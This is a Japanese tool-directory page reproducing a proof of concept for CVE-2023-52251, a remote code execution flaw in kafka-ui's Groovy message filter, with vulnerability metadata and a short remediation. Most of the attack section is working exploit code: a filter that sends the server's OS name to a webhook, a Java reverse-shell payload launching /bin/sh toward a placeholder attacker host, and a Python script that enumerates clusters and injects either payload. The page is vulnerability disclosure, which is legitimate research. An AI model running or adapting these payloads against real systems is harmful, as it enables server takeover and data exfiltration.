Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-52251-POC — CVE-2023-52251 provectus/kafka-ui には、リモートコード実行(RCE)の脆弱性があります。 | Kitploit
ツール/GitHubGitHub/bobtheshoplifter/cve-2023-52251-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツールペイロード開発
GitHubbobtheshoplifter/cve-2023-52251-poc

CVE-2023-52251-POC

CVE-2023-52251 provectus/kafka-ui には、リモートコード実行(RCE)の脆弱性があります。

リポジトリを見る
213162年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-52251-POC

provectus/kafka-ui にリモートコード実行の脆弱性が存在します。執筆時点ではパッチは存在しませんが、ベンダーには私たちと VINCE のチームから通知済みで、返答はありません。レポートは2023年9月27日に、メールとGitHubセキュリティの両方でprovectusに送信されました。

修復策

最低限の対策として、groovyフィルタ関数全体をコメントアウトするか、認証を追加することを推奨します。

メタデータ

タイトル値
CVSS文字列CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H
CVE IDCVE-2023-52251
CVS説明provectus kafka-ui 0.4.0-0.7.1 には、/api/clusters/local/topics/{topic}/messages の q パラメータを介したリモートコマンド実行 (RCE) の脆弱性があることが判明しました。
CVSSスコア9.x
CWECWE-94: コード生成の不適切な制御('コードインジェクション')
ベンダーProvectus
製品kafka-ui
リンクhttps://github.com/provectus/kafka-ui
影響を受けるバージョン0.4.0-0.7.1
パッチ適用済みバージョンなし
貢献者Thingstad, BobTheShoplifter

詳細

脆弱性タイプ: リモートコード実行 (RCE)

影響を受けるソフトウェア: Kafka-ui

バージョン: [0.4.0-0.7.1]

脆弱性の説明

groovyスクリプトフィルタは実行前にサニタイズされません。これにより、攻撃者がサーバー上で任意のコードを実行できるようになります。

ソースコード参照

関数 groovyScriptFilter 内では、"script" は実行前にサニタイズされません。

そして、エンジン内で次のようにevalされます:

var result = compiledScript.eval(bindings);

https://github.com/provectus/kafka-ui/blob/master/kafka-ui-api/src/main/java/com/provectus/kafka/ui/emitter/MessageFilters.java#58

PoC

脆弱性を再現するための完全な手順(特定の設定の詳細を含む)。

フィルタを使用:

new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

フィルタのスクリーンショット

サーバーのOS名を含むリクエストをwebhookに送信します。

Webhookのスクリーンショット

さらに発展させて、以下のペイロードを使用してリバースシェルを取得できます:

String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

ペイロードは https://www.revshells.com/ で簡単に生成できます。

リバースシェル

また、PythonによるPoCも作成されています:

from time import sleep
import requests
import json
import urllib
import argparse

url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"


def get_clusters():
    global clusters
    clusterfetch = requests.get(url + '/api/clusters')
    clusters = clusterfetch.json()


def get_topics(cluster):
    topicfetch = requests.get(
        url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
    topics = topicfetch.json()['topics']
    return topics


def get_webhooks():
    webhookfetch = requests.post('https://webhook.site/token')
    webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
    print('URL Created: ' + webhook)
    token_id = webhookfetch.json()['uuid']
    headers = {"api-key": webhookfetch.json()['uuid']}
    return webhook, token_id, headers


def Exploit():
    try:
        get_clusters()

        cluster = clusters[0]['name']

        topics = get_topics(cluster)
        topic = topics[0]['name']

        webhook, token_id, headers = get_webhooks()

        checkpayload = 'new URL("'+webhook+'").text'

        rcepayload = 'String host="' + c2 + \
            '";int port='+port + \
            ';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'

        payload = rcepayload if mode == "rce" else checkpayload

        r = requests.get(
            url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
        print(r.text)

        r = requests.get('https://webhook.site/token/' + token_id +
                         '/requests?sorting=newest', headers=headers)

        if r.json()['data'] == []:
            print("No rce found")
        else:
            for request in r.json()['data']:
                print(request)
                print("Rce found")

    except KeyboardInterrupt:
        print("KeyboardInterrupt")
        pass


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Kafka-ui4shell rce.')
    parser.add_argument('--mode', help='check, rce', required=False,
                        choices=['check', 'rce'], default="check")
    parser.add_argument(
        '--url', help='Target url. Example http://localhost:8080', required=True)
    parser.add_argument('--c2', help='C2 ip for RCE',
                        required=False),
    parser.add_argument('--c2port', help='File with urls', required=False)
    args = parser.parse_args()
ツールをダウンロード